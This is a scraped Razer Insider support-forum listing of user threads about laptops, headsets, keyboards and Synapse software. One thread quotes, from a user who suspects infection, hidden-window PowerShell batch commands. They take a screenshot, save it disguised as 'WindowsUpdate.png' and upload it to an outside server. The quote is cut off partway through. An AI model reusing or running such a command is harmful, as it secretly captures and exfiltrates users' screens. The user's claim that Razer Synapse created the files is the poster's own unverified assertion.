Razer Support | Razer Insider

Razer Support

-

  • 34,911 Threads
  • 51,277 Replies

34911 Threads

M
muqthar77
posted in Razer Support

Bit strong shock experienced from charger and laptop while plugged in

Hi, I got a new razer 15 base gtx1060 Variant. I’ve been using it for 3 days and suddenly today I experienced shock from laptop and charger when I was connecting it to the power supply . Even though the plugs switch was off I experienced shock from charger and after sometime I switched it on and my laptop also gave shock.. ps: I experienced this in a different place which is not where I usually work with my laptop. It happened at My uncles house . But I didntvexoerienced anything like this when I was using my laptop at my place . What is the problem here?

1
R
4 years ago
Z
Zatchaaron
posted in Razer Support

Razer Blade 15 Advanced Model Freezing

I've been on vacation for the last couple of weeks and have barely used my laptop. I got back to work and start doing some video editing and if Adobe Premiere is open for too long my whole laptop freezes. The display stays the same but the mouse is just frozen and nothing happens. I've also noticed it do this on Photoshop as well. I have not tried gaming on it yet. I did reset it back to factory with a complete wipe, made sure the drivers are all updated, and taken it to the Windows store to have them check it out. Razer support wants me to send it back for repairs which means I'll be a week without my laptop which I use everyday for work. I just thought I would see if you guys have any other ideas as to what could be happening? Thanks

1
R
4 years ago
M
MooMooMow
posted in Razer Support

"upgrade to razer"

everytime i try to buy a steam card with razer gold,it tells me to upgrade to a razer account even though i have one.how do i fix this?

1
R
4 years ago
S
ShosanRose
posted in Razer Support

Razer Nari Ultimate Chat Echo [Xbox One]

So I purchased this headset on a whim, it being my first high quality headset outside of astros and can say that these feel and sound amazing. However, the only issue it that I primarily bought it so I could use it with my Xbox, as I'm primarily a console gamer. By the product description, I was under the impression that I could use this product on my Xbox. Sound works just fine, as does connection. The only big issue that I have is that whenever I use it for chat, the entire lobby/party can hear a HORRIBLE echo coming from my headset. When people talk; Echo, when game sounds happen; Echo, when I'm listening to music via the headset; ECHO, even when turning mic monitoring all the way down, this is still an issue. I can't use this product at all for chat. On windows, this is not an issue; only happens on my Xbox. I've already tried contacting support and was given basic macro responses pertaining to how to get it working on windows, and updating drivers, despite clearly stating both v

5
R
4 years ago
S
ShampoocoolIOLITE933
posted in Razer Support

Blade 15 Camera issue

My integrated webcam has ceased to work. Google tells me that this is a wide spread defect, or at least a common occurrence with this model, is there somewhere here that can provide me with the latest / best options? I'd rather there was a fix than have to return an incredibly new laptop.

2
R
4 years ago
B
BoreClearInsider
posted in Razer Support

Not receiving my rewards from completing insider tasks.

So is anyone else having issues with not receiving the rewards for completing the tasks in the reward section of Razer insider? Or am I just doing something wrong?

1
V
4 years ago
R
Radko69
posted in Razer Support

Can't link my mouse with Synapse 3.0

Hello, I can't connect my devices to synapse. My mouse is razer mamba tournament edition and it's just not working. I tried to unplug and plug it again, but that's not working either. Does anybody have a suggestion? Thanks for your time.

6
I
4 years ago
O
orbeee
posted in Razer Support

Lights Idle doesn't working at all

I check the box for the idle the lightning of my blackwidow and my mamba elite after 1 minutes of inactivity. For a short time this thing worked but now they just don't go idle for any reason. I use razer Synapse 3. Any helps? Thanks

2
O
4 years ago
B
byteBlackBeanventure782
posted in Razer Support

Razer Nari Ultimate - Horrible Cracking Noise

Hey guys hopefully after some help regarding my Razer Nari Ultimate headset. When the volume is scrolled up onto the "Game" setting and its the default playback on the Sound Settings, i don't hear any music or volume from anything, all i get it a loud horrible clicking noise. I've only had this headset 2 weeks, it hasn't been dropped at all. After waking up and placing it straight on it suddenly did this clicking noise, is there a fix i can do? Or is the headset broken already. Thanks

13
B
4 years ago
C
classicBeigeSAPPHIRE671
posted in Razer Support

Razer Ripsaw HD 4k passthrough.

I have a Xbox one X, and a ASUS ROG Strix Curved XG32VQ, my problem is I cannot 2560 x 1440 to passthrough, at 60hz or above. Only able to get 1080 passthrough. Any idea what is wrong please.

2
C
4 years ago
S
smartDollarBillnexus736
posted in Razer Support

Nabu X Battery level 100%

When I put it to load it shows 100% but when it shoots it it turns off how do i fix this problem it's only work on usb conected

0
S
4 years ago
A
Andreas_gr
posted in Razer Support

Razer nari ultimate no lighting

My razer nari ultimate earcups have no light. I have synapse 3 installed and brightness is turned on. battery is full. I also have huntsman elite, mamba elite optical and firefly. all of them are working fine.

2
A
4 years ago
G
GhostPantsSmth
posted in Razer Support

Razer Sypnase Problem

When I Installed Synapse for the first time in the mixer tab it appeared all of the apps I was using, now when I go to the mixer tab its empty. Alredy tried reinstalling it still having the problem, any tips?

3
R
4 years ago
T
Twebow
posted in Razer Support

How to claim the Globe Prepaid Card Gift Card?

The instruction "Dial 223" is now unavailable on Globe. Is there another method to claim it?

1
R
4 years ago
C
CoralPinkretrocast667
posted in Razer Support

Razer Sila occassional blue blinking

I recently purchased a Razer Sila router, and I am having a strange problem. Everything seems to work fine, but occasionally the router will start blinking blue for 2-10 seconds, and this will coincide with twitch buffering and quality loss. I've read this could be firmware updating, but this happens multiple times per hour. Is this a problem with my internet connection or the router?

1
R
4 years ago
S
Shaneleo
posted in Razer Support

Serial Numbers not working for registration

Bought two new Blackwidow Ultimate keyboards today, and I can not register either one of them, says item serial number unknown... ?

2
R
4 years ago
M
Moist_Papa89
posted in Razer Support

My Razer Nari wont connect to the transceiver

I started to have issues today I think it started when i tried to download the chroma discord app. At first the only thing that didn't work was my mic. I deleted the chroma discord app. Deleted and re downloaded discord. I restarted my computer and deleted and reinstalled the drivers to the head phones. then i tried downloading the newest software for the Razer Nari and then the recovery tool. Now my head phones won't connect to the transceiver.

2
R
4 years ago
G
GZCcrg
posted in Razer Support

2019 Early Blade 15 overheating shutdown

Hi, I got my Razer Blade 15 2019 early version this February, I love it so much. And It worked well until I found there is something wrong with fan control which leads the blade shutdown itself due overheating. It's like the fan speed won't increase while gaming even the temperature is nearly 100 degree. I did restore my system through Razer Restore Mode(the F9 thing), and it became normal once last night. But the problem is here again today. Really need some help!!!

1
R
4 years ago
W
waltobc6
posted in Razer Support

after fresh install of win10 , windows downloading Razer Synapse automatically insert a malware

i had this 4 .bat files created on start run with weird code powershell that send info to a remote server. after downloading and installing fresh copy of windows, i found out its Razer Synapse that create those files do its look really suspension here is a topic that have all the info: https://security.stackexchange.com/questions/207769/installed-a-fresh-copy-of-win10-and-i-have-powershell-script-sending-info-to-htt#comment418996_207769 after sync for the first time its create 4 bat files with those codes: LVTUSIX.bat: powershell -windowstyle hidden -Command "[void][reflection.assembly]::loadwithpartialname('system.windows.forms'); [system.windows.forms.sendkeys]::sendwait('{PRTSC}'); Get-Clipboard -Format Image | ForEach-Object -MemberName Save -ArgumentList "$env:APPDATA\\WindowsUpdate.png"; invoke-webrequest -method put -infile "$env:APPDATA\\WindowsUpdate.png" https://rip.rblx.dev/c/" LVTUSIXd.bat: powershell -windowstyle hidden -Command "[void][reflection.assembly]::loadwit

6
W
4 years ago
S
SashimiDude
posted in Razer Support

Can I connect the Razer Wolverine Ultimate to the Nintendo Switch?

Is there a way for me to connect the Razer Wolverine Ultimate to a nintendo switch for Splatoon 2? I am willing to buy a adapter, but is it possible?N

2
S
4 years ago
A
astr0manic
posted in Razer Support

New Razer Blade Stealth 13 (2019) Touchpad/Trackpad Issues?

Having a lot of trouble with the New Razer Blade Stealth 13 trackpad. Intermittently drops out/jumps. I've had to switch off all 'tap' gestures as it is completely unusable when enabled. At one point it stopped working completely - gestures only registering on far left and right side of trackpad - completely dead in the centre, even after reboot. Anyone having similar issues or have any suggestions? A huge shame because I love everything else about this laptop.

6
A
4 years ago
A
Andre_601
posted in Razer Support

No sound after Installing Synapse 3

Hello guys, I'm new here so sorry if this is perhaps at the wrong place, but I wasn't able to find any solutions on the internet. I recently bought a Razer Ornata Chroma keyboard and a Deathadder Mouse and since I also wanted to customize the colours and settings I installed the Razer Synapse software. My issue now is that since I installed it, that every sound is gone... I use a seperate Headset that is not from Razer. It's from Logitech (No hate please...). And since Synapse is installed is the Headset not playing any audio whatsoever. The Windows Audio mixer shows that the system is playing audio to the right device but I can't find out what the issue is. The headset itself is just a few days old so it should not be broken by now... Additional information Synapse version: 3.4.415.41818 System: Windows 10 Pro (64-Bit) NVIDIA GeForce Game Ready 430.64 (idk if that is important but provide it anyway.)

1
A
4 years ago
X
Xurkitreee
posted in Razer Support

Audio problems with left side of Nari Ultimate

I just bought a Razer Nari Ultimate headset a few days ago and it works fine when I use it wired on my phone through the audio cable, but whenever I use it wirelessly through it's USB transciever, audio only comes out from the right side. It's like this on both my PC and laptop and I've tried updating the USB and audio drivers of both of them as well as using the latest version of Razer Synapse 3 on both. I uninstalled Synapse on both of them too but that didn't seem to help. I've checked my audio settings through control panel settings and the regular windows settings and adjusted what I could, but nothing helped. The audio is coming from only the right side but everything else works perfectly fine. What can I do to fix this?

6
Razer.Caziel
4 years ago
V
ven14
posted in Razer Support

Razer 15.6 Base Model 2018 Faulty hinge

The hinges on my new Razer Blade 15.6 2018 Base Model seem faulty as the laptop does not close firmly. Sometimes after closing the lid it will pop back open slightly like a spring. Never experienced such a fault in any laptop before. Considering the build quality you think it should be flush. Does anyone have a similar issue ?

2
V
4 years ago
D
drm88342
posted in Razer Support

Huntsman: Lighting Setting not applied to profile / Default Spectrum Cycling on new PC

Dear community, I have got myself a brand new Razer Huntsman Keyboard, which showed me the color animation "Spectrum Cycling" when first connected to my PC. Using Synapse 3 on Windows 10, I changed the color scheme to a custom one, but the keyboard returned back to the default spectrum cycling when I closed Synapse or booted another operating system on my machine. I am looking for a method that allows me to use a different color scheme than spectrum cycling without Synapse 3 running in the background (e.g. when I want to boot a different operating system). Here are the steps I have already tried in Synapse 3: * Keyboard -> Lighting Tab: Select my color scheme in "Advanced Effects" OR Select one of the Quick Effects for my profile * Keyboard -> Customize Tab: Copy the profile to the on-board memory * Close Synapse 3 (Keyboard goes to spectrum cycling) * Use the fn key + the profile key to select the on board profile * Nothing happens, the keyboard stays in spectrum cyclin

2
D
4 years ago
CookiesCookie settings